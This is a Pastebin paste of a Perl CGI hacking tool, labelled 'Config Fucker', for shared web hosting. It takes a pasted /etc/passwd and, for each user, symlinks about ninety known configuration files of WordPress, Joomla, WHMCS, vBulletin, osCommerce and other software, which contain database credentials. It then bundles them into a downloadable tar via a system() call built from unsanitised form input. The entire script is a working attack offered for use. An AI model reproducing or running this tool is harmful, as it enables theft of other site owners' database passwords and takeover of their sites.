Advertisement
Guest User

Config reader(Anti-armenia-TheLock)

a guest
Jul 15th, 2014
376
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.14 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. print "Content-type: text/html\n\n";
  3. print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  4. <html xmlns="http://www.w3.org/1999/xhtml">
  5. <head>
  6. <meta http-equiv="Content-Language" content="en-us" />
  7. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  8. <title>Config Fucker</title>
  9. <style type="text/css">
  10. .dz {
  11. font-family: Tahoma;
  12. font-size: 14px;
  13. font-weight: bold;
  14. color: #3333ff;
  15. text-align: center;
  16. text-shadow: black 0px 0px 2px;
  17. }
  18. #checkouttextarea {
  19.  
  20. webkit-border-radius: 15px;
  21.  
  22. }
  23. :hover#checkouttextarea {opacity: 0.6; background-color:333333}
  24. </style>
  25. </head>
  26. ';
  27. sub lil{
  28. ($user) = @_;
  29. $msr = qx{pwd};
  30. $kola=$msr."/".$user;
  31. $kola=~s/\n//g;
  32. symlink('/home/'.$user.'/public_html/includes/configure.php',$kola.'-shop.txt');
  33. symlink('/home/'.$user.'/public_html/os/includes/configure.php',$kola.'-shop-os.txt');
  34. symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$kola.'-oscom.txt');
  35. symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.'-oscommerce.txt');
  36. symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.'-oscommerces.txt');
  37. symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$kola.'-shop2.txt');
  38. symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$kola.'-shop-shopping.txt');
  39. symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$kola.'-sale.txt');
  40. symlink('/home/'.$user.'/public_html/amember/config.inc.php',$kola.'-amember.txt');
  41. symlink('/home/'.$user.'/public_html/config.inc.php',$kola.'-amember2.txt');
  42. symlink('/home/'.$user.'/public_html/members/configuration.php',$kola.'-members.txt');
  43. symlink('/home/'.$user.'/public_html/config.php',$kola.'-2.txt');
  44. symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'-forum.txt');
  45. symlink('/home/'.$user.'/public_html/forums/includes/config.php',$kola.'-forums.txt');
  46. symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.'-5.txt');
  47. symlink('/home/'.$user.'/public_html/admin/config.php',$kola.'-4.txt');
  48. symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'-wp13.txt');
  49. symlink('/home/'.$user.'/public_html/wp/wp-config.php',$kola.'-wp13-wp.txt');
  50. symlink('/home/'.$user.'/public_html/WP/wp-config.php',$kola.'-wp13-WP.txt');
  51. symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$kola.'-wp13-wp-beta.txt');
  52. symlink('/home/'.$user.'/public_html/beta/wp-config.php',$kola.'-wp13-beta.txt');
  53. symlink('/home/'.$user.'/public_html/press/wp-config.php',$kola.'-wp13-press.txt');
  54. symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$kola.'-wp13-wordpress.txt');
  55. symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$kola.'-wp13-Wordpress.txt');
  56. symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.'-wp13-wordpress-beta.txt');
  57. symlink('/home/'.$user.'/public_html/news/wp-config.php',$kola.'-wp13-news.txt');
  58. symlink('/home/'.$user.'/public_html/new/wp-config.php',$kola.'-wp13-new.txt');
  59. symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'-wp-blog.txt');
  60. symlink('/home/'.$user.'/public_html/beta/wp-config.php',$kola.'-wp-beta.txt');
  61. symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$kola.'-wp-blogs.txt');
  62. symlink('/home/'.$user.'/public_html/home/wp-config.php',$kola.'-wp-home.txt');
  63. symlink('/home/'.$user.'/public_html/protal/wp-config.php',$kola.'-wp-protal.txt');
  64. symlink('/home/'.$user.'/public_html/site/wp-config.php',$kola.'-wp-site.txt');
  65. symlink('/home/'.$user.'/public_html/main/wp-config.php',$kola.'-wp-main.txt');
  66. symlink('/home/'.$user.'/public_html/test/wp-config.php',$kola.'-wp-test.txt');
  67. symlink('/home/'.$user.'/public_html/conf_global.php',$kola.'-6.txt');
  68. symlink('/home/'.$user.'/public_html/include/db.php',$kola.'-7.txt');
  69. symlink('/home/'.$user.'/public_html/connect.php',$kola.'-8.txt');
  70. symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.'-9.txt');
  71. symlink('/home/'.$user.'/public_html/include/config.php',$kola.'-12.txt');
  72. symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'-joomla2.txt');
  73. symlink('/home/'.$user.'/public_html/protal/configuration.php',$kola.'-joomla-protal.txt');
  74. symlink('/home/'.$user.'/public_html/joo/configuration.php',$kola.'-joo.txt');
  75. symlink('/home/'.$user.'/public_html/cms/configuration.php',$kola.'-joomla-cms.txt');
  76. symlink('/home/'.$user.'/public_html/site/configuration.php',$kola.'-joomla-site.txt');
  77. symlink('/home/'.$user.'/public_html/main/configuration.php',$kola.'-joomla-main.txt');
  78. symlink('/home/'.$user.'/public_html/news/configuration.php',$kola.'-joomla-news.txt');
  79. symlink('/home/'.$user.'/public_html/new/configuration.php',$kola.'-joomla-new.txt');
  80. symlink('/home/'.$user.'/public_html/home/configuration.php',$kola.'-joomla-home.txt');
  81. symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'-vb.txt');
  82. symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$kola.'-vb3.txt');
  83. symlink('/home/'.$user.'/public_html/includes/config.php',$kola.'-includes-vb.txt');
  84. symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'-whm15.txt');
  85. symlink('/home/'.$user.'/public_html/central/configuration.php',$kola.'-whm-central.txt');
  86. symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$kola.'-whm-whmcs.txt');
  87. symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$kola.'-whm-WHMCS.txt');
  88. symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$kola.'-whmc-WHM.txt');
  89. symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$kola.'-whmcs.txt');
  90. symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'-support.txt');
  91. symlink('/home/'.$user.'/public_html/supp/configuration.php',$kola.'-supp.txt');
  92. symlink('/home/'.$user.'/public_html/secure/configuration.php',$kola.'-sucure.txt');
  93. symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$kola.'-sucure-whm.txt');
  94. symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$kola.'-sucure-whmcs.txt');
  95. symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$kola.'-cpanel.txt');
  96. symlink('/home/'.$user.'/public_html/panel/configuration.php',$kola.'-panel.txt');
  97. symlink('/home/'.$user.'/public_html/host/configuration.php',$kola.'-host.txt');
  98. symlink('/home/'.$user.'/public_html/hosting/configuration.php',$kola.'-hosting.txt');
  99. symlink('/home/'.$user.'/public_html/hosts/configuration.php',$kola.'-hosts.txt');
  100. symlink('/home/'.$user.'/public_html/configuration.php',$kola.'-joomla.txt');
  101. symlink('/home/'.$user.'/public_html/submitticket.php',$kola.'-whmcs2.txt');
  102. symlink('/home/'.$user.'/public_html/clients/configuration.php',$kola.'-clients.txt');
  103. symlink('/home/'.$user.'/public_html/client/configuration.php',$kola.'-client.txt');
  104. symlink('/home/'.$user.'/public_html/clientes/configuration.php',$kola.'-clientes.txt');
  105. symlink('/home/'.$user.'/public_html/cliente/configuration.php',$kola.'-client.txt');
  106. symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$kola.'-clientsupport.txt');
  107. symlink('/home/'.$user.'/public_html/billing/configuration.php',$kola.'-billing.txt');
  108. symlink('/home/'.$user.'/public_html/manage/configuration.php',$kola.'-whm-manage.txt');
  109. symlink('/home/'.$user.'/public_html/my/configuration.php',$kola.'-whm-my.txt');
  110. symlink('/home/'.$user.'/public_html/myshop/configuration.php',$kola.'-whm-myshop.txt');
  111. symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$kola.'-zencart.txt');
  112. symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.'-shop-zencart.txt');
  113. symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.'-shop-ZCshop.txt');
  114. symlink('/home/'.$user.'/public_html/Settings.php',$kola.'-smf.txt');
  115. symlink('/home/'.$user.'/public_html/smf/Settings.php',$kola.'-smf2.txt');
  116. symlink('/home/'.$user.'/public_html/forum/Settings.php',$kola.'-smf-forum.txt');
  117. symlink('/home/'.$user.'/public_html/forums/Settings.php',$kola.'-smf-forums.txt');
  118. symlink('/home/'.$user.'/public_html/upload/includes/config.php',$kola.'-up.txt');
  119. symlink('/home/'.$user.'/public_html/up/includes/config.php',$kola.'-up2.txt');
  120. }
  121. if ($ENV{'REQUEST_METHOD'} eq 'POST') {
  122. read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  123. } else {
  124. $buffer = $ENV{'QUERY_STRING'};
  125. }
  126. @pairs = split(/&/, $buffer);
  127. foreach $pair (@pairs) {
  128. ($name, $value) = split(/=/, $pair);
  129. $name =~ tr/+/ /;
  130. $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  131. $value =~ tr/+/ /;
  132. $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  133. $FORM{$name} = $value;
  134. }
  135. if ($FORM{pass} eq ""){
  136. print '
  137. <body class="dz" bgcolor="#F4F4F4">
  138. <p>WebRooT Config Fucker</p>
  139. <p>WebRooT.info</p>
  140. <span><font color="red">Kullanimi:</font> Passwd icerigini asagidaki bosluga yapistiriniz.. => <font color="black">cat /etc/passwd</font></span><br />
  141. <br /><form method="post"><strong>
  142. <textarea id="checkouttextarea" name="pass" style="border:1px dotted #00FFFF; width: 498px; height: 370px; background-color:#F4F4F4; font-family:Tahoma; font-size:9pt; color: black" ></textarea><br />
  143. &nbsp;<p>
  144. <input name="tar" type="text" style="border:1px dotted #00FFFF; width: 212px; background-color:#F4F4F4; font-family:Tahoma; font-size:8pt; color:black; " /><br />
  145. &nbsp;</p>
  146. <p>
  147. <input name="Submit1" type="submit" value="Config Cek" style="border:1px dotted #00FFFF; width: 99; font-family:Tahoma; font-size:10pt; color: black; text-transform:uppercase; height:23; background-color:#F4F4F4;" /></p>
  148. </form></strong>
  149. ';
  150. }else{
  151. @lines =<$FORM{pass}>;
  152. $y = @lines;
  153. open (MYFILE, ">tar.tmp");
  154. print MYFILE "tar -czf ".$FORM{tar}.".tar ";
  155. for ($ka=0;$ka<$y;$ka++){
  156. while(@lines[$ka] =~ m/(.*?):x:/g){
  157. &lil($1);
  158. print MYFILE $1.".txt ";
  159. for($kd=1;$kd<18;$kd++){
  160. print MYFILE $1.$kd.".txt ";
  161. }
  162. }
  163. }
  164. print'<body class="dz" bgcolor="#F4F4F4">
  165. <h2>TamamLandi..!</h2>
  166. <p>&nbsp;</p>';
  167. if($FORM{tar} ne ""){
  168. open(INFO, "tar.tmp");
  169. @lines =<INFO> ;
  170. close(INFO);
  171. system(@lines);
  172. print'<p><a href="'.$FORM{tar}.'.tar"><font color="#00FF00">
  173. <span style="text-decoration: none">Click Here To Download Tar File</span></font></a></p>';
  174. }
  175. }
  176. print"
  177. </body>
  178. </html>";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement